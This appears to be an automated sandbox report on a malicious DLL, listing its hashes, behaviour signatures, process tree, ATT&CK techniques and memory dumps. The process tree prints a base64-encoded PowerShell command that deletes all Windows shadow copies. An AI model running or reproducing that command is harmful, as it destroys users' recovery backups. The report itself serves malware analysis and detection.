b6efb55d76540fd01ab1b007f7c8ac5d9c4818aeebd1209e40b5ac2135dcf2f8

General

Target

b6efb55d76540fd01ab1b007f7c8ac5d9c4818aeebd1209e40b5ac2135dcf2f8.dll
Size

166KB
MD5

572c56dbb7d40850ddceda6bca358ae7
SHA1

6752e13f4772d21ee9f85a4d528a5d967ae9ebc9
SHA256

b6efb55d76540fd01ab1b007f7c8ac5d9c4818aeebd1209e40b5ac2135dcf2f8
SHA512

2d4321096585e023c8d26cc7739ab76f0efa06732885d34425fe5ff3a575a0fd255d73a83f4cff3576fe6fc54a55831075e5bf949a9d21e1032fdc38d1b54297

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

776 rundll32.exe
716 powershell.exe

pid	process
776	rundll32.exe
716	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	776	rundll32.exe
Token: SeDebugPrivilege	716	powershell.exe
Token: SeBackupPrivilege	756	vssvc.exe
Token: SeRestorePrivilege	756	vssvc.exe
Token: SeAuditPrivilege	756	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 820 wrote to memory of 776	820	rundll32.exe	rundll32.exe
PID 820 wrote to memory of 776	820	rundll32.exe	rundll32.exe
PID 820 wrote to memory of 776	820	rundll32.exe	rundll32.exe
PID 820 wrote to memory of 776	820	rundll32.exe	rundll32.exe
PID 820 wrote to memory of 776	820	rundll32.exe	rundll32.exe
PID 820 wrote to memory of 776	820	rundll32.exe	rundll32.exe
PID 820 wrote to memory of 776	820	rundll32.exe	rundll32.exe
PID 776 wrote to memory of 716	776	rundll32.exe	powershell.exe
PID 776 wrote to memory of 716	776	rundll32.exe	powershell.exe
PID 776 wrote to memory of 716	776	rundll32.exe	powershell.exe
PID 776 wrote to memory of 716	776	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\b6efb55d76540fd01ab1b007f7c8ac5d9c4818aeebd1209e40b5ac2135dcf2f8.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:820

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\b6efb55d76540fd01ab1b007f7c8ac5d9c4818aeebd1209e40b5ac2135dcf2f8.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:776

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:716

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:756

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/716-56-0x000007FEFB531000-0x000007FEFB533000-memory.dmp

Filesize
8KB

Download
memory/716-58-0x0000000002950000-0x0000000002952000-memory.dmp

Filesize
8KB

Download
memory/716-59-0x0000000002952000-0x0000000002954000-memory.dmp

Filesize
8KB

Download
memory/716-60-0x0000000002954000-0x0000000002957000-memory.dmp

Filesize
12KB

Download
memory/716-57-0x000007FEF2920000-0x000007FEF347D000-memory.dmp

Filesize
11.4MB

Download
memory/716-61-0x000000000295B000-0x000000000297A000-memory.dmp

Filesize
124KB

Download
memory/776-55-0x0000000075191000-0x0000000075193000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads